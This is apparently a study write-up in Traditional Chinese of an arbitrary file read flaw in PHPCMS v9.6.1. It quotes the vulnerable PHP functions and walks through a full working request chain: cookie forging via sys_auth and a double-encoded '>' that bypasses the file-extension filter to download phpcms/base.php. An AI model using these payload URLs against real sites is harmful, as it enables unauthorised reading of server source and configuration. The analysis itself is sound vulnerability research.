# PHPCMS v9.6.1 任意文件讀取
###### tags: `phpcms`
這個漏洞與前一個漏洞利用方法類似。都是東拼西湊出payload。
首先 wap 模塊拿到一個cookie 這個cookie 是被sys_auth 加密的
```
payload:
http://localhost/index.php?m=wap&c=index&siteid=1
cookie:
NpHtD_siteid:8fd5A2tsnl0lQ3wc3-IGFybAOxdmDySOEzWntfgG
```
這個目地是為了下一個作者看上的函數,可以接收get 參數,參數最後則是要 轉成json格式,並且 set_cookie
phpcms/modules/attachment/attachments.php
```
public function swfupload_json() {
$arr['aid'] = intval($_GET['aid']);
$arr['src'] = safe_replace(trim($_GET['src']));
$arr['filename'] = urlencode(safe_replace($_GET['filename']));
$json_str = json_encode($arr);
$att_arr_exist = param::get_cookie('att_json');
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
param::set_cookie('att_json',$json_str);
return true;
}
}
```
set_cookie
為什麼要使用他,原因在於sys_auth 是加密的函數,我們把payload 轉json格式後,最後走到這會被加密。
```
public static function set_cookie($var, $value = '', $time = 0) {
$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
$httponly = $var=='userid'||$var=='auth'?true:false;
$var = pc_base::load_config('system','cookie_pre').$var;
$_COOKIE[$var] = $value;
if (is_array($value)) {
foreach($value as $k=>$v) {
setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s, $httponly);
}
} else {
setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s, $httponly);
}
}
```
payload:
注意看 參數src
```
http://localhost/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=
//這段是我們精心構造出的payload:
&i=1&m=1&modelid=1&f=phpcms/base.ph%253Ep&d=1&catid=1
繞過細節f參數:
%25 url decode = %
$3E url decode = >
剩下的其他參數都是交插測試,可以成功的。
```
再重看一次 swfupload_json
phpcms/modules/attachment/attachments.php
```
public function swfupload_json() {
$arr['aid'] = intval($_GET['aid']);
$arr['src'] = safe_replace(trim($_GET['src']));
$arr['filename'] = urlencode(safe_replace($_GET['filename']));
$json_str = json_encode($arr);
$att_arr_exist = param::get_cookie('att_json');
$att_arr_exist_tmp = explode('||', $att_arr_exist);
if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
return true;
} else {
$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
param::set_cookie('att_json',$json_str);
return true;
}
}
```
他吃3個get參數
```
filename 我們沒設置,我們aid 也是亂填1 最後主要靠 src設置
http://localhost/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=
&i=1&m=1&modelid=1&f=phpcms/base.ph%253Ep&d=1&catid=1
不過這樣是不會成功的,你直接丟上去 swfupload_json 會誤以為, payload 的 i ,m ,modelid ...都是給這個swfupload_json的,
所要要urlencode 讓他成為src變數的數據。
%26i%3D1%26m%3D1%26modelid%3D1%26f%3Dphpcms%2Fbase.ph%25253Ep%26d%3D1%26catid%3D1%0A
最後合並
http://localhost//index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26modelid%3D1%26f%3Dphpcms%2Fbase.ph%25253Ep%26d%3D1%26catid%3D1%0A
```
這邊需要注意,想要走到 swfupload_json 還需要通過幾個點,這個物件的 __construct 需要有一個
```
//先解碼 然後送給 $this->userid
sys_auth($_POST['userid_flash'],'DECODE')
//才能通過這個條件
if(empty($this->userid)){
showmessage(L('please_login','','member'));
}
```
phpcms/modules/attachment/attachments.php
```
function __construct() {
pc_base::load_app_func('global');
$this->upload_url = pc_base::load_config('system','upload_url');
$this->upload_path = pc_base::load_config('system','upload_path');
$this->imgext = array('jpg','gif','png','bmp','jpeg');
$this->userid = $_SESSION['userid'] ? $_SESSION['userid'] : (param::get_cookie('_userid') ? param::get_cookie('_userid') : sys_auth($_POST['userid_flash'],'DECODE'));
$this->isadmin = $this->admin_username = $_SESSION['roleid'] ? 1 : 0;
$this->groupid = param::get_cookie('_groupid') ? param::get_cookie('_groupid') : 8;
//判断是否登录
if(empty($this->userid)){
showmessage(L('please_login','','member'));
}
}
```
所以我們在使用這 payload 時需要burpsuit 改成POST
```
http://localhost//index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26i%3D1%26m%3D1%26modelid%3D1%26f%3Dphpcms%2Fbase.ph%25253Ep%26d%3D1%26catid%3D1%0A
加上 POST 數據
//這個就是我們一開頭拿到的cookie
userid_flash=8fd5A2tsnl0lQ3wc3-IGFybAOxdmDySOEzWntfgG
小坑: post 加上(不加會失敗)
Content-Type: application/x-www-form-urlencoded
```
送出後,我們會拿到 swfupload_json 幫我們轉json 格式並且又是 sys_auth 加密的cookie:
```
ac15w4jVZafeA-bTtfvGGQXi5uDWayLhIAozevShc51PgpAxycV68CrYDty0aaswl3ScZK2OmIpqo6LGmzJ53EXX9yR3k1VN_DLeXN8awsLvh5yFDYrqu1vXckVSYJOHJsIQpv-L5RitTSuzhWHsid9Adw
```
最後一步 payload是看上了 content 模塊的 down 類的 init 函數 並且payload 放在 a_k變數
```
http://localhost/index.php?m=content&c=down&a=init&a_k=
ac15w4jVZafeA-bTtfvGGQXi5uDWayLhIAozevShc51PgpAxycV68CrYDty0aaswl3ScZK2OmIpqo6LGmzJ53EXX9yR3k1VN_DLeXN8awsLvh5yFDYrqu1vXckVSYJOHJsIQpv-L5RitTSuzhWHsid9Adw
```
phpcms/modules/content/down.php
init函數太長,我這邊用簡單的步驟說明
大概是:
```
//解碼變成 json
$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
//危險函數 parse_str 可已覆蓋並創造其他值
//此時json 格式大概為&i=1&m=1&modelid=1&f=phpcms/base.ph%253Ep&d=1&catid=1
parse_str($a_k);
i=1
m=1
modelid=1
f=phpcms/base.ph%253Ep 但 parse_str 會自動 url decode 所以
f=phpcms/base.ph%3Ep
d=1
catid=1
```
這樣的變數設置最後可以走進 init 的節尾判斷 if
```
if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
$downurl = '?m=content&c=down&a=download&a_k='.$a_k;
} else {
$downurl = $f;
}
include template('content','download');
```
此時的 $a_k 是經過 另一個$pc_auth_key 加密的 最後請求 ?m=content&c=down&a=download&a_k=xxxxxx
所以進入到download 函數
phpcms/modules/content/down.php
函數也很長我大概說明一下:
```
解密 $a_k
i=1
m=1
modelid=1
f=phpcms/base.ph%3Ep
d=1
catid=1
//危險函數parse_str 自動 url decode
parse_str($a_k);
i=1
m=1
modelid=1
//關鍵%3E 變成 >
f=phpcms/base.ph>p
d=1
catid=1
```
這樣的變數設置,不但繞過後綴檔名
f會給 fileurl=phpcms/base.ph>p
```
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));
```
最後還幫我們消掉了>
```
$fileurl = str_replace(array('<','>'), '',$fileurl);
$fileurl = phpcms/base.php
```
最後進入到下載 phpcms/base.php 大功告成。
心得:真心覺得作者很厲害,需要熟悉流程,還要構造正確payload。
這個 payload 如果你自己構造的話,過程會很痛苦,但能學到很多,方法大概是先從 download 函數開刀,注解掉大部分沒用的區塊,然後反推,看能不能利用。
總之利用好phpstorm 直接亂給值,慢慢測大概是我能想到的快速理解payload 方式。